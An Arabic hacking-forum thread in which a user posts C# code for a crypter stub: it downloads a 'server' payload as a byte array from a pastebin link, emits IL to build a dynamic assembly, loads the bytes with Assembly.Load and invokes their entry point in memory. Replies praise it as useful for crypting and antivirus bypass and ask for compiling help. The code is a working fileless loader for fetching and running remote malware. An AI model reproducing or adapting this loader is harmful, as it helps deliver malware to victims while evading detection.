التشفير كلين Emit Byte Array Clean in ILGenerator 35/0

تم تحميل الصفحة في 1,1031994 ثانية
التشفير كلين Emit Byte Array Clean in ILGenerator 35/0

Mr.LOAI

~أستغفر الله العظيم~
rankrankrankrank
إنضم
28 يونيو 2016
المشاركات
1,981
الإعجابات
2,039
النقاط
163
الإقامة
GER/SYR-Aleppo

السلام عليكم ورحمة الله وبركاته
استكمال للموضوع السابق
اليوم قمنا فقط بعمل لود للـ
Byte Array بدل ال Base64

قم بتحميل هذه الأداة
Byte تحميل ● مركز رفع ملفات نقطة التطوير [ Dev-Point ]
واسحب السيرفر للأداة وسوف يتم انتاج ملف txt بجانب السيرفر قم بنسخ ما بداخله ووضعه في موقع pastebin
ثم أفتح الـ Visual Studio وبدل ال link بالرابط للقيم

للنسخ
كود C#
            WebClient w = new WebClient(); 
            String[] a = w.DownloadString("Link").Split(' '); // تم تحميل القيم من الرابط وتقسيمها لمصفوفة
            Int32[] BArr = Array.ConvertAll(a, s => int.Parse(s));// تحويل مصفوفة الستينح لمصفوفة رقميو
            AssemblyBuilder AB = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("Project"), AssemblyBuilderAccess.Run);// إنشاء اسيمبلي
            ModuleBuilder MB = AB.DefineDynamicModule("Project");// إنشاء المشروع
            TypeBuilder TB = MB.DefineType("Class", TypeAttributes.Public);// إنشاء الكلاس
            MethodBuilder MeB = TB.DefineMethod("Main", MethodAttributes.Public, null, null);// إنشاء الميثود
            ILGenerator gen = MeB.GetILGenerator(); // همممم
            LocalBuilder Arr = gen.DeclareLocal(typeof(Byte[])); // التجهيز لعمل مصفوفة من نوع بايت اراي
            gen.Emit(OpCodes.Ldc_I4, BArr.Length); // عمل مصفوفة البايت بنفس طول قيم مصفوفة الأرقام فوق
            gen.Emit(OpCodes.Newarr, typeof(Byte)); // عمل اوبجيكت
            gen.Emit(OpCodes.Stloc, 0); // همممم
            for (int i = 0; i < BArr.Length; i++)// لوب للقيم ليتم إدخاله في مصفوفة البايت
            {
                gen.Emit(OpCodes.Ldloc, 0);// همممم
                gen.Emit(OpCodes.Ldc_I4, i); // رقم العنصر في المصفوفة
                gen.Emit(OpCodes.Ldc_I4, Convert.ToInt32(BArr[i].ToString())); // القيم التي سوف يتم حفظها في مكان الرقم المحدد فوق
                gen.Emit(OpCodes.Stelem_I1); // تقريبا تبديل القيمة في المصفوفة بقيمة رقمية
            }
            gen.Emit(OpCodes.Ldloc, Arr);// تقريبا عمل دفع او لود للمصوفوفة الي أنشئناها
            gen.Emit(OpCodes.Call, typeof(Assembly).GetMethod("Load", new Type[] { typeof(Byte[]) })); 
            gen.Emit(OpCodes.Callvirt, typeof(Assembly).GetProperty("EntryPoint").GetGetMethod()); 
            gen.Emit(OpCodes.Ldnull);
            gen.Emit(OpCodes.Ldnull);
            gen.Emit(OpCodes.Callvirt, typeof(MethodBase).GetMethod("Invoke", new Type[] { typeof(Object), typeof(Object[]) }));
            gen.Emit(OpCodes.Pop); 
            gen.Emit(OpCodes.Ret);
            Type t = TB.CreateType();
            Object o = Activator.CreateInstance(t);
            t.GetMethod("Main").Invoke(o, null);

أولا مرة أشرح يعني إذا أحد ما فهم مشكلته xD
بريئ في الأستخدام بما لا يرضي الله عز وجل

 

h!dd3nSniper

.:: UCC¤Hack¤Division ::.
rankrankrankrank
إنضم
14 مارس 2013
المشاركات
1,248
الإعجابات
1,461
النقاط
113
الإقامة
¤I.S¤
بارك الله فيك ,تعامل سلس مع emitter و msil
يمكن ان تصل الى درجات متقدمة برمجيا بعيدا عن التشفير والتخطي
 

Abuokhalil

Beginner Developer
rank
إنضم
19 يوليو 2017
المشاركات
125
الإعجابات
129
النقاط
43
الإقامة
الجزائر
لؤي ما شاء الله عليك اخي
عملاق بحق
وعليك مسؤولية كبيرة خلال غيبة الاخ والمبدع
الذي نكن له جميعنا معزة خاصة الاخ بشار بشير
 

Mr.LOAI

~أستغفر الله العظيم~
rankrankrankrank
إنضم
28 يونيو 2016
المشاركات
1,981
الإعجابات
2,039
النقاط
163
الإقامة
GER/SYR-Aleppo
بارك الله فيك ,تعامل سلس مع emitter و msil
يمكن ان تصل الى درجات متقدمة برمجيا بعيدا عن التشفير والتخطي
وفيك بارك الله
مشكور على ردك الطيب،
يب شفت أني ممكن استخدمه بأكثر من طريقة
تحياتي
 

Mr.LOAI

~أستغفر الله العظيم~
rankrankrankrank
إنضم
28 يونيو 2016
المشاركات
1,981
الإعجابات
2,039
النقاط
163
الإقامة
GER/SYR-Aleppo
لؤي ما شاء الله عليك اخي
عملاق بحق
وعليك مسؤولية كبيرة خلال غيبة الاخ والمبدع
الذي نكن له جميعنا معزة خاصة الاخ بشار بشير
تسلم، للأسف لا أحد يستطيع أستبدال بشار حتى أنا لا أنشر الكثير من المواضيع مثله
 
إنضم
10 مارس 2011
المشاركات
5,018
الإعجابات
3,844
النقاط
113
يعطيك العافية المكان الاصح للموضوع قسم التشفير وليس الحماية
 

blackd

Beginner Developer
rank
إنضم
14 مارس 2013
المشاركات
6
الإعجابات
4
النقاط
3
شرح واضح
لكن ان امكن رفع المشروع
عند نسخ تظهر لي
الاخطاء
مشكور
 

silenced

Beginner Developer
rank
إنضم
4 نوفمبر 2017
المشاركات
69
الإعجابات
55
النقاط
18
العمر
27
عاشت ايدك موضوع رائع ..
بله زحمه عليك ممكن أعرف مشروع افتحه بالفيجوال ستديو سي شارب وعباره عن ابلكيشن لو كونسل لو شنو
والكود اخلي بالمود لو وين
وعادي اذا 2010 واني جدا ممنونه من حضرتك
 

Mr.LOAI

~أستغفر الله العظيم~
rankrankrankrank
إنضم
28 يونيو 2016
المشاركات
1,981
الإعجابات
2,039
النقاط
163
الإقامة
GER/SYR-Aleppo
عاشت ايدك موضوع رائع ..
بله زحمه عليك ممكن أعرف مشروع افتحه بالفيجوال ستديو سي شارب وعباره عن ابلكيشن لو كونسل لو شنو
والكود اخلي بالمود لو وين
وعادي اذا 2010 واني جدا ممنونه من حضرتك
تسلم, سي شارب مشروع كونسول الكود باللود يب
يب عادي 2010
 
إنضم
28 نوفمبر 2016
المشاركات
15
الإعجابات
9
النقاط
3
العمر
28
اولا السلام عليكم
ثانيا يعطيك العافيه اخوي لؤي ماقصرت على الطرح الاكثر من رائع
ولكن لما احط الاكواد تجيني اخطاء كثيره جدا جدا

صورةه : Screenshot
اتمنى من اي واحد يرفع الكود كامل بصفحه pastebin عشان نتفادا الاخطاء! ماعليكم امر
 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 1 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل